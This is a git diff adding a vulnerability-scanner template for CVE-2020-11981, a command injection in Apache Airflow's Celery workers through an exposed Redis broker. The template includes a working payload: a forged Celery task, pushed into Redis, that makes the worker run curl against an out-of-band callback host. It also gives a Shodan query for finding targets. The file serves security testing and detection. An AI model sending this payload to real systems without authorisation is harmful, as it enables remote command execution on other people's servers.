diff --git a/network/cves/2020/CVE-2020-11981.yaml b/network/cves/2020/CVE-2020-11981.yaml new file mode 100644 index 0000000000..eb45e75656 --- /dev/null +++ b/network/cves/2020/CVE-2020-11981.yaml @@ -0,0 +1,40 @@ +id: CVE-2020-11981 + +info: + name: Apache Airflow <=1.10.10 - Command Injection + author: pussycat0x + severity: critical + description: | + An issue was found in Apache Airflow versions 1.10.10 and below. When using CeleryExecutor, if an attacker can connect to the broker (Redis, RabbitMQ) directly, it is possible to inject commands, resulting in the celery worker running arbitrary commands. + reference: + - https://github.com/apache/airflow/pull/9178 + - https://github.com/vulhub/vulhub/tree/master/airflow/CVE-2020-11981 + metadata: + verified: "true" + shodan-query: product:"redis" + tags: network,redis,unauth,apache,airflow + +variables: + data: "*3\r\n$5\r\nLPUSH\r\n$7\r\ndefault\r\n$936\r\n{\"content-encoding\": \"utf-8\", \"properties\": {\"priority\": 0, \"delivery_tag\": \"f29d2b4f-b9d6-4b9a-9ec3-029f9b46e066\", \"delivery_mode\": 2, \"body_encoding\": \"base64\", \"correlation_id\": \"ed5f75c1-94f7-43e4-ac96-e196ca248bd4\", \"delivery_info\": {\"routing_key\": \"celery\", \"exchange\": \"\"}, \"reply_to\": \"fb996eec-3033-3c10-9ee1-418e1ca06db8\"}, \"content-type\": \"application/json\", \"headers\": {\"retries\": 0, \"lang\": \"py\", \"argsrepr\": \"(100, 200)\", \"expires\": null, \"task\": \"airflow.executors.celery_executor.execute_command\", \"kwargsrepr\": \"{}\", \"root_id\": \"ed5f75c1-94f7-43e4-ac96-e196ca248bd4\", \"parent_id\": null, \"id\": \"ed5f75c1-94f7-43e4-ac96-e196ca248bd4\", \"origin\": \"gen1@132f65270cde\", \"eta\": null, \"group\": null, \"timelimit\": [null, null]}, \"body\": \"" + encode1: '[[["curl", "http://' + encode2: '"]], {}, {"chain": null, "chord": null, "errbacks": null, "callbacks": null}]' + end: '"}' + +tcp: + - inputs: + - data: "{{data+base64(encode1+'{{interactsh-url}}'+encode2)+concat(end+ '\r\n')}}" + read: 1024 + host: + - "{{Hostname}}" + - "{{Host}}:6379" + + matchers: + - type: word + part: interactsh_protocol + words: + - "http" + + - type: word + part: interactsh_request + words: + - "User-Agent: curl"